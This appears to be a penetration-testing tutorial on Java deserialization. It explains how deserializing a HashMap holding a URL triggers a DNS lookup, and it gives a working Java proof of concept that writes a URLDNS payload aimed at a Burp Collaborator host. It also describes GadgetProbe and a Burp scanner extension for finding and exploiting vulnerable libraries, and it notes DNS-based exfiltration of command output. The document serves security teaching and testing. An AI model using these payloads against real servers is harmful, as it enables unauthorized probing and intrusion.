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# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
## DNS request on deserialization
The class `java.net.URL` implements `Serializable`, this means that this class can be serialized.
```java
public final class URL implements java.io.Serializable {
```
This class have a **curious behaviour.** From the documentation: “**Two hosts are considered equivalent if both host names can be resolved into the same IP addresses**”.\
Then, every-time an URL object calls **any** of the **functions `equals`** or **`hashCode`** a **DNS request** to get the IP Address is going to be **sent**.
**Calling** the function **`hashCode`** **from** an **URL** object is fairly easy, it's enough to insert this object inside a `HashMap` that is going to be deserialized. This is because **at the end** of the **`readObject`** function from `HashMap` this code is executed:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
It is **going** the **execute** `putVal` with every value inside the `HashMap`. But, more relevant is the call to `hash` with every value. This is the code of the `hash` function:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
As you can observe, **when deserializing** a **`HashMap`** the function `hash` is going to **be executed with every object** and **during** the **`hash`** execution **it's going to be executed `.hashCode()` of the object**. Therefore, if you **deserializes** a **`HashMap`** **containing** a **URL** object, the **URL object** will **execute** `.hashCode()`.
Now, lets take a look to the code of `URLObject.hashCode()` :
```java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
```
As you can see, when a `URLObject` executes`.hashCode()` it is called `hashCode(this)`. A continuation you can see the code of this function:
```java
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
```
You can see that a `getHostAddress` is executed to the domain, **launching a DNS query**.
Therefore, this class can be **abused** in order to **launch** a **DNS query** to **demonstrate** that **deserialization** is possible, or even to **exfiltrate information** (you can append as subdomain the output of a command execution).
### URLDNS payload code example
You can find the [URDNS payload code from ysoserial here](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial):
```java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```
### More information
*
* In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post:
## GadgetProbe
You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) from the Burp Suite App Store (Extender).
**GadgetProbe** will try to figure out if some **Java classes exist** on the Java class of the server so you can know **if** it's **vulnerable** to some known exploit.
### How does it work
**GadgetProbe** will use the same **DNS payload of the previous section** but **before** running the DNS query it will **try to deserialize an arbitrary class**. If the **arbitrary class exists**, the **DNS query** will be **sent** and GadgProbe will note that this class exist. If the **DNS** request is **never sent**, this means that the **arbitrary class wasn't deserialized** successfully so either it's not present or it''s **not serializable/exploitable**.
Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) *\*\**with Java classes for being tested.
### More Information
*
## Java Deserialization Scanner
This scanner can be **download** from the Burp App Store (**Extender**).\
The **extension** has **passive** and active **capabilities**.
### Passive
By default it **checks passively** all the requests and responses sent **looking** for **Java serialized magic bytes** and will present a vulnerability warning if any is found:
### Active
#### Manual Testing
You can select a request, right click and `Send request to DS - Manual Testing`.\
Then, inside the *Deserialization Scanner Tab* --> *Manual testing tab* you can select the **insertion point**. And **launch the testing** (Select the appropriate attack depending on the encoding used).
Even if this is called "Manual testing", it's pretty **automated**. It will automatically check if the **deserialization** is **vulnerable** to **any ysoserial payload** checking the libraries present on the web server and will highlight the ones vulnerable. In order to **check** for **vulnerable libraries** you can select to launch **Javas Sleeps**, **sleeps** via **CPU** consumption, or using **DNS** as it has previously being mentioned.
#### Exploiting
Once you have identified a vulnerable library you can send the request to the *Exploiting Tab*.\
I this tab you have to **select** the **injection point** again, an **write** the **vulnerable library** you want to create a payload for, and the **command**. Then, just press the appropriate **Attack** button.
### More Information
*